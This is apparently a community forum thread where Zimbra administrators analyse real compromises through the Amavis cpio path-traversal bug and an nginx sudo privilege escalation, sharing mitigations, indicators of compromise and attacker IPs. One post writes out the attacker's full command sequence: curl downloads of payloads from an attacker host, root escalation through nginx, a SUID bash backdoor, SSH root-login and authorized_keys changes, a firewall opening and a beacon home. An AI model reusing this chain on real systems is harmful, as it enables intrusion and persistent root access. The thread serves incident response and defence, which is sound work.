Attacker managed to upload files into Web Client directory

[BradC]

if MTA and MB run on the same server, we cannot exploit
I have done a POC for mail server ( multi server , MTA and Mailbox different server, cpio ver 2.11, not install pax, Centos ) , Cannot exploit
Anyone have same this situation?
Log :
Oct 12 15:15:23 mail1 amavis[114902]: (114902-06) (!)WARN: Using cpio instead of pax can be a security risk; please add: $pax='pax'; to amavisd.conf and check that the pax(1) utility is available on the system!
Oct 12 15:15:23 mail1 amavis[114902]: (114902-06) (!)Decoding of p003 (POSIX tar archive (GNU)) failed, leaving it unpacked: do_pax_cpio: exit 2 /usr/bin/cpio: cannot make directory `lucky': No such file or directory\n/usr/bin/cpio: lucky/ShareApp.jsp: Cannot open: No such file or directory\n5 blocks at (eval 140) line 1551

- Lucky is payload extension .tar

That makes sense because the target directory of that exploit is the web interface, and therefore won't exist on the MTA server. Wonder if it could be modified to overwrite arbitrary files in the /etc directory to open up a shell?

[ghen]

Wonder if it could be modified to overwrite arbitrary files in the /etc directory to open up a shell?

Only in directories writable as the zimbra user, so normally only under /opt/zimbra + world writable locations like /tmp.

[ghen]

Wonder if it could be modified to overwrite arbitrary files in the /etc directory to open up a shell?

Only in directories writable as the zimbra user, so normally only under /opt/zimbra + world writable locations like /tmp.

BUT files under /opt/zimbra/webapps/zimbra can be executed remotely (via web requests) and thus spawn a shell.

Ideally the web-root (which is static) should not be owned by zimbra, but by root.

[Confiding9568]

Our instanced was found to have the ZimbraBoot.jsp file on it, CentOS 7 without pax installed. After investigation we found they had also leveraged zimbra's nginx sudo access along with a malicious library to gain root/ssh access.

Our investigation,

1. A malicious email results in /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourceVerificaton.jsp being installed (same as ZimbraBoot.jsp) (amavis assumed to be the attack vector, unconfirmed)
2. Threat actor accesses /public/jsp/ResourceVerificaton.jsp with shell commands to be run (as zimbra)
   1. Enumeration
      1. id
      2. uname -a
      3. ldd --version
      4. hostname
      5. cat /etc/envionment
      6. ls /opt/zimbra/bin/zmcontrol
      7. /ot/zimbra/bin/zmcontrol -v
      8. whereis wget
      9. ls /usr/bin/wget
   2. Root shell/ssh
      1. mkdir -p /tmp/.opt
      2. /usr/bin/curl -o /tmp/.opt/libx.so http://198\.204\.241\.2:443/libx.so
      3. /usr/bin/curl -o /tmp/.opt/cfg http://198\.204\.241\.2:443/cfg
      4. /usr/bin/curl -o /tmp/.opt/cfg2 http://198\.204\.241\.2:443/cfg2
      5. /usr/bin/curl -o /tmp/.opt/sh http://198\.204\.241\.2:443/sh
      6. sudo /opt/zimbra/common/sbin/nginx -c /tmp/.opt/cfg
         1. chmod 755 /tmp/.opt/sh && /tmp/.opt/sh
            1. cp /bin/bash /usr/lib/sftp
            2. cp /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourceVerificaton.jsp /opt/zimbra/jetty_base/webapps/zimbraAdmin/public/jsp/ZimbraBoot.jsp
            3. sed -i -E '/[Pp]ermit[Rr]oot[Ll]ogin\s+/s/(no|forced-commands-only)/yes/g' /etc/ssh/sshd_config
            4. sed -i -E '/[Pp]ubkey[Aa]uthentication\s+/s/(no)/yes/g' /etc/ssh/sshd_config
            5. sed -i -E "/[Aa]llow[Uu]sers/s/(\s+)(.+)/\1$USERNAME \2/g" /etc/ssh/sshd_config
            6. sed -i -E "/[Dd]eny[Uu]sers/s/$USERNAME//g" /etc/ssh/sshd_config
            7. service sshd restart || service ssh restart || systemctl restart sshd || systemctl restart ssh || /etc/init.d/sshd restart || /etc/init.d/ssh restart
            8. echo "$PUBKEY" >> /root/.ssh/authorized_keys
            9. iptables -I INPUT 1 -p tcp -m tcp --match multiport --dports 22 -j ACCEPT
            10. wget -O - http://198\.204\.241\.2:443?port=22&status=$2
            11. rm -rf $(whereis cpio)
            12. /opt/zimbra/bin/zmamavisdctl restart
      7. rm -rf /tmp/.opt
3. Threat actor accesses /zimbraAdmin/public/jsp/ZimbraBoot.jsp with shell commands
   1. /usr/lib/sftp -p -c 'whoami'
   2. whoami
   3. rm -rf /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourcesVerificaton.jsp
   4. rm -rf /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourceVerificaton.jsp

Interestingly you can see that the actor "fixes" the initial exploit by removing cpio and restarting amavis after they've established persistence.

All said and done, this left the attacker with the following persistence:

1. /opt/zimbra/jetty/webapps/zimbraAdmin/public/jsp/ZimbraBoot.jsp - A backdoor including file writing/reading/appending/deleting and a reverse shell (as zimbra user)
2. /usr/lib/sftp - An executable that can be executed by the zimbra user to give a root shell (this can be executed leveraging the ZimbraBoot.jsp shell)
3. iptables rule added to allow SSH
4. /etc/passwd modified to allow root login (if disabled)
5. /etc/ssh/sshd_config modified to allow root user login (if not allowed)
6. /root/.ssh/authorized_keys modified to add the threat actor public key

IPs involved:

1. 198\.204\.241\.2
2. 185\.87\.184\.10
3. 134\.209\.110\.159
4. 45\.122\.221\.159

Hopefully this helps others clean up after this mess!

[shel]

Hello community,

I just finished analysing an incident involving an exploit of this vulnerability (CVE-2022-41354).

However in this case, the webshell was used to exploit another Zimbra vulnerability; a privilege escalation vulnerability due to zimbra user being able to run nginx as superuser (CVE-2022-41347), to run a script with elevated privileges.

The attack chain starts out as the OP mentions but diverges in terms of actions taken using the webshell.

My findings are as follows:

Webshell:

1. Email sent to admin@<domain>.<tld> with two attachments: news.jpg and news.jpeg. These are tar archives, despite the extensions.
2. When extracted by cpio, will drop the following files. The paths are relative to the directory where Amavis places the attachments for scanning:
   • From news.jpeg: ../../../../../../../../opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourceVerificaton.jsp
   • From news.jpg: ../../../../../../jetty/webapps/zimbra/public/jsp/ResourcesVerificaton.jsp.
3. Attacker uses the webshell to send commands to be executed as the Zimbra user. Uses wget to download the following files from an attacker controlled web server:
   • /tmp/.opt/cfg # nginx configuration file
   • /tmp/.opt/cfg2 # slapd configurations file (Can also be run by zimbra user using sudo
   • /tmp/.opt/libx.so # module to be run as root, by nginx
   • /tmp/.opt/sh # Bash script executed as root, by nginx module libx.so
4. Using the webshell, the attacker runs (as zimbra user) sudo /opt/zimbra/common/sbin/nginx -c /tmp/.opt/cfg, thereby loading the libx.so module which in turn executes the /tmp/.opt/sh script as root.

Root privilege escalation:

The root exploit performs various actions meant to cement the attackers access to, and control of, the server.

1. Copies /bin/bash to /usr/lib/sftp and sets owner to root and SUID permission.
2. Sets the timestamp of /usr/lib/sftp to be the same as on /etc/passwd.
3. Copies ResourceVerificaton.jsp and ResourcesVerificaton.jsp to /opt/zimbra/jetty_base/webapps/zimbraAdmin/public/jsp/ZimbraBoot.jsp.
4. Enables remote accesss by the attacker using SSH.
5. Checks for existence of/etc/ssh/sshd_config.
6. Sends a status message home using HTTP to the attackers webserver. # 0=ok;1=no sshd_config;2=no root;3=hosts.allow changed
7. Adds a new SSH public key to /root/.ssh/authorized_keys
8. Attempts to change /etc/ssh/sshd_config to allow root login and PubkeyAuthentication
9. If user root has no usable shell (f.ex. /bin/nologin), change shell to /bin/bash and revert the timestamp on /etc/passwd to what it was before the change.
10. Executes iptables -I INPUT 1 -p tcp -m tcp --match multiport --dports $PORT -j ACCEPT to allow SSH connections through the firewall. (CANNOT by seen using "firewall-cmd" interface, only "iptables-save")
11. Patches Zimbra bug by deleting cpio. Presumably to prevent other attackers from overwriting the webshell and booting them out.

Cleanup:

Finally the script proceeds to clean up by deleting the original webshell (leaving only ZimbraBoot.jsp) and the root exploit kit from /tmp/.opt.

Indicators Of Compriomise

Email with attachments news.jpg (sha256sum: 416eba12bc12fe14de62c8a21e2f4c73b017286381a44bc70ef6f73ee6aba8c9) and/or news.jpeg (sha256sum: c76489fa4cfef22695b9ac66942b3884f52dccf297566482ea48574114613831)

Dropped files:

• /tmp/.opt/cfg (sha256sum: 0947c4eee1f808dacb5d0a6fe30c1061c1bcd3a081f2bc9916f4dd39cb22ac14)
• /tmp/.opt/cfg2 (sha256sum: 79d85c22432b13851f5dd3dd37a4eda2e8fb7214a17b720000bdbf422b0b9227)
• /tmp/.opt/libx.so (sha256sum: aac95a855deaf7347f5885621c7786f5f096648522d32b13052a1f1faf66f0d1)
• /tmp/.opt/sh (sha256sum: c916a6d4cae8defb63ce7205cb44d0876f6e959ea4572a2e5ce3669b6da954e9)
• /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourceVerificaton.jsp (sha256sum: b73f4f79e65bb804dae0962ebc5ba6657a4499847bacd4670b3e5ba14e2c7ef2)
• /opt/zimbra/jetty/webapps/zimbra/public/jsp/ResourcesVerificaton.jsp (sha256sum: b73f4f79e65bb804dae0962ebc5ba6657a4499847bacd4670b3e5ba14e2c7ef2)
• /opt/zimbra/jetty_base/webapps/zimbraAdmin/public/jsp/ZimbraBoot.jsp (sha256sum: b73f4f79e65bb804dae0962ebc5ba6657a4499847bacd4670b3e5ba14e2c7ef2)

Other files:

• /usr/lib/sftp that's identical to /bin/bash and has SUID permission set.
• /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/public_/ResourceVerificaton_jsp$1StreamConnector.class (sha256sum: 1e9b4d7d66b2139ee0f3e687cef3f228d4bfcedd804d24df99fd0cf1c360a499)
• /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/public_/ResourceVerificaton_jsp.class (sha256sum: d3ee1e27e357439ee0aee20bfe1b051d8c4cabf12afc79e9d37841cc2acece18)
• /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/public_/ResourceVerificaton_jsp.java (sha256sum: d6f62ddf9bdfa6cd244423cfc2732ba353d3b1292fe2dceca33c863512cc1327)

Other artifacts:

• /opt/zimbra/log/access_log.* and/or /opt/zimbra/log/trace_log.* contains entries like: "GET /public/jsp/ResourceVerificaton.jsp?key=<Static password>=exec&cmd=<BASE64 encoded shell command to be executed.> HTTP/1.0"
• /opt/zimbra/log/access_log.* and/or /opt/zimbra/log/trace_log.* contains entries like: "GET /public/jsp/ResourcesVerificaton.jsp?key=<Static password>=exec&cmd=<BASE64 encoded shell command to be executed.> HTTP/1.0"
• /opt/zimbra/log/access_log.* and/or /opt/zimbra/log/trace_log.* contains entries like: "GET /public/jsp/ResourceVerificaton.jsp?key=<Static password>=exec&cmd=<BASE64 encoded shell command to be executed.> HTTP/1.0"
• Unknown SSH key in /root/.ssh/authorized keys
• User root shell has been changed.
• SSH service accessible from Internet when it should not be.

I did not see it in the logs for this incident but I infer that you might see something along the lines of "GET /zimbraAdmin/public/jsp/ZimbraBoot.jsp HTTP/1.1" in access_log and trace_log:

Keep in mind that as this exploit is public, including a Metasploit module attacks can vary and IOCs relevant to this investigation may not be relevant for others.

[nirt]

Hi,

One question, I'm not sure if are only affected ubuntu or also centos 7 installations? using mta and mailboxs on different servers or single install with all roles exist any difference with this vulnerability?

Thanks

[shel]

Hi,

One question, I'm not sure if are only affected ubuntu or also centos 7 installations? using mta and mailboxs on different servers or single install with all roles exist any difference with this vulnerability?

Thanks

Hi nirt,

In my mind, any server running Amavis using 'cpio' to extract archives received as attachment, is vulnerable to the path traversal exploit. This allows an attacker to write files to the filesystem, be it a webshell or something else entirely. Whether it can exploited by an attacker is another matter but it must be mitigated.

I've read reports saying Ubuntu is not vulnerable while RHEL and its derivatives are. This statement is based on the default installed packages for each Linux distribution and should in no way be regarded as an absolute truth since, for one reason or another, a Centos machine might have pax installed while an Ubuntu machine might not. The only way to know if your Amavis server is vulnerable or not is to check whether it has 'pax' installed. If it does, Amavis will use pax instead of cpio and is not vulnerable.

Correct me if I'm wrong but as far as I know it's not required to run Amavis on the MTA server, however common. If you have seperate MTA and Mailbox server but happen to run Amavis on the mbox machine without 'pax' installed, you would still be vulnerable to this webshell exploit.

[nirt]

Hi,

thanks for your clear information!

[ghen]

/opt/zimbra/conf/amavisd.conf.in contains a list of mimetypes with possible decoders in order of preference, in particular:

[['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ],

So for additional safety one could completely remove (g)cpio from the amavisd configuration as possible decoder for cpio and tar mimetypes, leaving only pax.

[pixelplumber]

Keep in mind that as this exploit is public, including a Metasploit module attacks can vary and IOCs relevant to this investigation may not be relevant for others.

Can see probing 404 requests against alternative names to ResourcesVerification.jsp this morning in access logs, so these are possible alternative exploit script names to look for:

• searchx.jsp
• secureResponse.jsp
• Startup1.jsp
• Zimbractl.jsp

Seen from IPs:

• 209\.97\.137\.33 https://www.abuseipdb.com/check/209.97.137.33
• 173\.254\.247\.95 https://www.abuseipdb.com/check/173.254.247.95
• 27\.124\.40\.169 https://www.abuseipdb.com/check/27.124.40.169